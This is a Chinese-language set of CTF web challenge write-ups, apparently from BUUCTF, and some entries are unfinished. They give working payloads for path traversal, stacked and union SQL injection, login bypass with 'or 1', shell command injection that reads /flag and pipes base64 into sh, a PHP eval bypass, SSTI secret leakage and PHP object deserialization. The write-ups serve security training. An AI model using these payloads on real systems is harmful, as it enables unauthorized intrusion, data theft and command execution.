目录
[HCTF 2018]WarmUp
[强网杯 2019]随便注
[SUCTF 2019]EasySQL
[GYCTF2020]Blacklist
[GKCTF2020]cve版签到
GXYCTF2019禁止套娃
[De1CTF 2019]SSRF Me
[极客大挑战 2019]EasySQL
[极客大挑战 2019]Havefun
[极客大挑战 2019]Secret File
[ACTF2020 新生赛]Include
2018]easy_tornado
[极客大挑战 2019]LoveSQL
[GXYCTF2019]Ping Ping Ping
[RoarCTF 2019]Easy Calc
[极客大挑战 2019]Knife
[ACTF2020 新生赛]Exec
[极客大挑战 2019]PHP
[极客大挑战 2019]Http
[HCTF 2018]admin
[极客大挑战 2019]BabySQL
[HCTF 2018]WarmUp
这里补充一个知识点:phpmyadmin 4.8.1任意文件包含
环境我已经启动了
去访问一下
源码有提示 去访问一下
然后看到了源码
<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;} }if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
?>
这里白名单里给了一个提示
尝试直接去访问它
报错了…
尝试穿越目录去访问
依然报错了
看源码吧
<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//这里是提供了两个白名单if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr( //返回中文字符串的一部分$page,0,mb_strpos($page . '?', '?') //我们输入flag 但其实它在你的字符串后面加了一个问号,然后返回问号的位置,就是=4//所以想绕过这里,直接?flag,他检测到的问号就是0,然后0,0没有执行 就绕过了);if (in_array($_page, $whitelist)) { //检测是不是在白名单
/hint.php?flag 进行绕过 进行目录穿越 就可以了return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;} }
//上面是定义了一个类if (! empty($_REQUEST['file']) //如果变量不存在的话,empty()并不会产生警告。 && is_string($_REQUEST['file']) //必须是字符串&& emmm::checkFile($_REQUEST['file']) //上面的那个类) {include $_REQUEST['file']; //就包含这个文件 参数也就是fileexit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
?>
所以 最后就是 这样
?file=hint.php?../../../../../../../../ffffllllaaaagggg
就得到了flag
flag{acbbba26-c81b-4603-bcb7-25f78adeab18}
[强网杯 2019]随便注
进入题目链接
所以他的sql语句是单引号过滤
1' order by 2#
1' union select 1,2#
相当于告诉了我们它的过滤
尝试用堆叠查询 试试了
1;show database();
1';show tables;#
所以是有两个表
1919810931114514
words
1';show columns from `words`;#
表名words需要被 ` 这个符号包起来,这个符号是 esc下面一个的按键,这个符号在mysql里 用于 分割其他命令,表示此为(表名、字段名)
1';show columns from `1919810931114514`;#
看到flag了!!!
那么如何查询到数据呢? select
函数被过滤了,其实mysql的函数有很多
这里通过 MYSQL的预处理语句,使用 :
concat('s','elect',' * from `1919810931114514`')
完成绕过
构造pyload:
1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#
flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81}
[SUCTF 2019]EasySQL
环境我已经启动了 进入题目链接
老套路 先看看源码里面有什么东西
不出意料的什么都没有
但是提示我们它是POST传参
这是一道SQL注入 的题目
不管输入什么数字,字母 都是这的 没有回显
但是输入:0
没有回显 不知道为啥
而且输入:1'
也不报错 同样是没有回显
尝试注入时 显示Nonono.
也就是说,没有回显,联合查询基本没戏。
好在页面会进行相应的变化,证明注入漏洞肯定是有的。
而且注入点就是这个POST参数框
看了大佬的WP 才想起来 还有堆叠注入
堆叠注入原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
1;show databases;#
1;show tables;#
1;use ctf;show tables;#
跑字典时 发现了好多的过滤 哭了 没有办法…
看到上面主要是有两中返回,一种是空白,一种是nonono。
在网上查writeup看到
输入1显示:Array ( [0] => 1 )
输入a显示:空白
输入所有非0数字都显示:Array ( [0] => 1 )
输入所有字母(除过滤的关键词外)都显示空白
可以推测题目应该是用了||
符号。
推测出题目应该是select $_post[value] || flag from Flag。
这里 就有一个符号||
当有一边为数字时 运算结果都为 true 返回1
使用 ||
运算符,不在是做或
运算 而是作为拼接字符串的作用
在oracle 缺省支持 通过 ||
来实现字符串拼接,但在mysql 缺省不支持
需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。
这个意思是在oracle中 || 是作为字符串拼接,而在mysql中是运算符。
当设置sql_mode
为pipes_as_concat
的时候,mysql也可以把 ||
作为字符串拼接。
修改完后,|| 就会被认为是字符串拼接符
MySQL中sql_mode参数,具体的看这里
payload:*,1
查询语句:select *,1||flag from Flag
堆叠注入,使得sql_mode
的值为PIPES_AS_CONCAT
payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
解析:
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。
flag出来了 头秃 不是很懂 看了好多的wp…
[GYCTF2020]Blacklist
进入题目链接
为'
闭合
确认字段为2
3.查看回显:1’ union select 1,2#
发现过滤字符
与上面的随便注
很像 ,太像了,增加了过滤规则。
修改表名和set均不可用,所以很直接的想到了handler
语句。
4.但依旧可以用堆叠注入获取数据库名称、表名、字段。
1';show databases# 获取数据库名称1';show tables# 获取表名1';show columns from FlagHere ;# 或 1';desc FlagHere;# 获取字段名
1';handler FlagHere open;handler FlagHere read first#
直接得到 flag 成功解题。
flag{d0c147ad-1d03-4698-a71c-4fcda3060f17}
补充handler语句相关。
mysql除可使用select查询表中的数据,也可使用handler
语句
这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不
具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中
[GKCTF2020]cve版签到
查看提示 菜鸡的第一步
提示了:cve-2020-7066
赶紧去查了一下
cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。
描述在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。
利用方法
总的来说也就是get_headers()
可以被%00
截断
进入题目链接
知识点: cve-2020-7066利用
老套路:先F12查看源码
发现提示:Flag in localhost
根据以上 直接上了
直接截断
因为提示host必须以123结尾,这个简单
所以需要将localhost替换为127.0.0.123
成功得到flag
flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801}
GXYCTF2019禁止套娃
考点 :
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
具体细节,看这里
进入题目链接
上御剑扫目录 发现是.git源码泄露
上githack
补全源码
得到源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");} }else{die("再好好想想!");} }else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>
既然getshell基本不可能,那么考虑读源码
看源码,flag应该就在flag.php
我们想办法读取
首先需要得到当前目录下的文件
scandir()函数
可以扫描当前目录下的文件,例如:
<?php
print_r(scandir('.'));
?>
那么问题就是如何构造scandir('.')
这里再看函数:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
这里还有一个知识点:
current(localeconv())永远都是个点
那么就很简单了
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
第二步:读取flag所在的数组
之后我们利用array_reverse()
将数组内容反转一下,利用next()
指向flag.php 文件==>highlight_file()
高亮输出
payload:
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
[De1CTF 2019]SSRF Me
首先得到提示 还有源码
进入题目链接 得到一串py 经过整理后
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):#python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):#定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:#action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) # 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp #输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:#action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): #!!!校验return Trueelse:return False#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) # !!!这个路由用于测试
def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])#这个路由是我萌得最终注入点
def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')#根目录路由,就是显示源代码得地方
def index():return open("code.txt","r").read()def scan(param):#这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):#!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):#这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0')
相关函数
作用
init(self, action, param, …)
构造方法self代表对象,其他是对象的属性
request.args.get(param)
提取get方法传入的,参数名叫param对应得值
request.cookies.get(“action”)
提取cookie信息中的,名为action得对应值
hashlib.md5().hexdigest()
hashlib.md5()#获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串
urllib.unquote()
将url编码解码
urllib.urlopen()
读取网络文件参数可以是url
json.dumps
Python 对象编码成 JSON 字符串
这个题先放一下…
[极客大挑战 2019]EasySQL
进入题目链接
直接上万能密码 用户随意
admin1' or 1;#
得到flag
flag{7fc65eb6-985b-494a-8225-de3101a78e89}
[极客大挑战 2019]Havefun
进入题目链接
老套路 去F12看看有什么东西
很好 逮住了
获取FLAG的条件是cat=dog,且是get传参
flag就出来了
flag{779b8bac-2d64-4540-b830-1972d70a2db9}
[极客大挑战 2019]Secret File
进入题目链接
老套路 先F12查看
发现超链接 直接逮住
既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了
上burp看看情况 我们让他挺住 逮住了:secr3t.php
访问一下
简单的绕过 就可以了
成功得到一串字符 进行base解密即可
成功逮住flag
flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7}
[ACTF2020 新生赛]Include
根据题目信息 是文件包含无疑了
直接点击进来
用php伪协议 绕过就可以了
得到一串编码 base64解密即可
得到flag
flag{c09e6921-0c0e-487e-87c9-0937708a78d7}
2018]easy_tornado
都点击一遍 康康
直接filename
变量改为:fllllllllllllag
报错了
有提示 render() 是一个渲染函数 具体看这里
就用到SSTI模板注入了 具体看这里
尝试模板注入:
/error?msg={{1} }
发现存在模板注入
md5(cookie_secret+md5(filename))
分析题目:
1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,
生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename))
根据目前信息,想要得到flag就需要获取cookie_secret
因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容
根据测试页面修改msg得值发现返回值
可以通过msg的值进行修改,而在
taornado
框架中存在cookie_secreat
可以通过/error?msg={{handler.settings} }
拿到secreat_cookie
综合以上结果
拿脚本跑一下
得到filehash:
ed75a45308da42d3fe98a8f15a2ad36a
一直跑不出来 不知道为啥子
[极客大挑战 2019]LoveSQL
万能密码尝试
直接上万能密码 用户随意
admin1' or 1;#
开始正常注入:
查字段:1' order by 3#
经过测试 字段为3
查看回显:1’ union select 1,2,3#
查数据库
1' union select 1,2,group_concat(schema_name) from information_schema.schemata #
查表:
[GXYCTF2019]Ping Ping Ping
考察:RCE的防护绕过
直接构造:?ip=127.0.0.1;ls
简单的fuzz一下 就发现=
和$
没有过滤
所以想到的思路就是使用$IFS$9
代替空格,使用拼接变量来拼接出Flag字符串:
构造playload
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b
看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php
一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤:
继续构造payload:
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
查看源码,得到flag
flag{1fe312b4-96a0-492d-9b97-040c7e333c1a}
[RoarCTF 2019]Easy Calc
进入题目链接
查看源码
发现calc.php
利用PHP的字符串解析特性Bypass ,具体看这里
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1. 删除空白符2. 将某些字符转换为下划线(包括空格)
scandir()
:列出参数目录中的文件和目录
发现/
被过滤了 ,可以用chr('47')
代替
calc.php? num=1;var_dump(scandir(chr(47)))
这里直接上playload
calc.php? num= 1 ; var_dump( file_get_contents( chr( 47 ) .chr( 102 ) .chr( 49 ) .chr( 97 ) .chr( 103 ) .chr( 103 ) ) )
flag{76243df6-aecb-4dc5-879e-3964ec7485ee}
[极客大挑战 2019]Knife
进入题目链接
根据题目Knife
还有这个一句话木马
猜想尝试用蚁剑连接
测试连接成功
确实是白给了flag
[ACTF2020 新生赛]Exec
直接ping 发现有回显
构造playload:
127.0.0.1;cat /flag
成功拿下flag
flag{7e582f16-2676-42fa-8b9d-f9d7584096a6}
[极客大挑战 2019]PHP
进入题目链接
它提到了备份文件
就肯定是扫目录 把源文件的代码 搞出来
上dirsearch 下载看这里
很简单的使用方法 用来扫目录
-u 指定url
-e 指定网站语言
-w 可以加上自己的字典,要带路径
-r 递归跑(查到一个目录后,重复跑)
打开index.php
文件
分析这段内容
1.加载了一个class.php
文件
2.采用get方式传递一个select
参数
3.随后将之反序列化
打开class.php
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }
}
?>
根据代码的意思可以知道,如果password=100
,username=admin
在执行_destruct()
的时候可以获得flag
构造序列化
<?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}
$a = new Name('admin', 100);
var_dump(serialize($a));?>
得到了序列化
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
但是 还有要求
在反序列化字符串时,属性个数的值大于实际属性个数时,就可以
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
构造最终的playload
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
[极客大挑战 2019]Http
进入题目链接
查看 源码
发现了 超链接的标签
说我们不是从https://www.Sycsecret.com
访问的
进入http://node3.buuoj.cn:27883/Secret.php
抓包修改一下Referer
执行一下
随后提示我们浏览器需要使用Syclover,
修改一下User-Agent
的内容
就拿到flag了
[HCTF 2018]admin
进入题目链接
这道题有三种解法
1.flask session 伪造
2.unicode欺骗
3.条件竞争
发现 登录和注册功能
随意注册一个账号啦
登录进来之后
登录 之后 查看源码
发现提示
猜测 我们登录 admin账号 即可看见flag
在change password页面发现
访问后 取得源码
第一种方法:
具体,看这里
flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
[极客大挑战 2019]BabySQL
进入题目链接
对用户名进行测试
发现有一些关键字被过滤掉了
猜测后端使用replace()
函数过滤
11' oorr 1=1 #
直接尝试双写
万能密码尝试 双写 可以绕过
查看回显:
1' uniunionon selselectect 1,2,3 #
over!正常 开始注入
爆库
爆列
爆表
爆内容